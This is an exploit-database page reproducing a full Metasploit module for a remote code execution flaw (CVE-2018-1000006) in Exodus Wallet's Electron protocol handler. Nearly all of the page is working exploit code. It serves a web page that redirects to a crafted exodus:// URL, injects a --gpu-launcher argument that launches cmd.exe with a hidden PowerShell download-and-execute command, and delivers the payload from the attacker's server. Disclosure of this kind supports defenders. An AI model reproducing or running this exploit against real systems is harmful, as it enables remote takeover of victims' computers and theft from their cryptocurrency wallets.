Exodus Wallet (ElectronJS Framework) Remote Code Execution

2018.03.30
Credit: Metasploit
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::EXE include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Exodus Wallet (ElectronJS Framework) remote Code Execution', 'Description' => %q( This module exploits a Remote Code Execution vulnerability in Exodus Wallet, a vulnerability in the ElectronJS Framework protocol handler can be used to get arbitrary command execution if the user clicks on a specially crafted URL. ), 'License' => MSF_LICENSE, 'Author' => [ 'Wflki', # Original exploit author 'Daniel Teixeira' # MSF module author ], 'DefaultOptions' => { 'SRVPORT' => '80', 'URIPATH' => '/', }, 'References' => [ [ 'EDB', '43899' ], [ 'BID', '102796' ], [ 'CVE', '2018-1000006' ], ], 'Platform' => 'win', 'Targets' => [ ['PSH (Binary)', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 25 2018' )) register_advanced_options( [ OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]), ], self.class ) end def gen_psh(url) ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url)) download_and_run = "#{ignore_cert}#{download_string}" return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run) end def serve_payload(cli) data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true ) print_status("Delivering Payload") send_response_html(cli, data, 'Content-Type' => 'application/octet-stream') end def serve_page(cli) psh = gen_psh("#{get_uri}payload") psh_escaped = psh.gsub("\\","\\\\\\\\").gsub("'","\\\\'") val = rand_text_alpha(5) html = %Q|<html> <!doctype html> <script> window.location = 'exodus://#{val}" --gpu-launcher="cmd.exe /k #{psh_escaped}" --#{val}=' </script> </html> | send_response_html(cli, html) end def on_request_uri(cli, request) case request.uri when /payload$/ serve_payload(cli) else serve_page(cli) end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top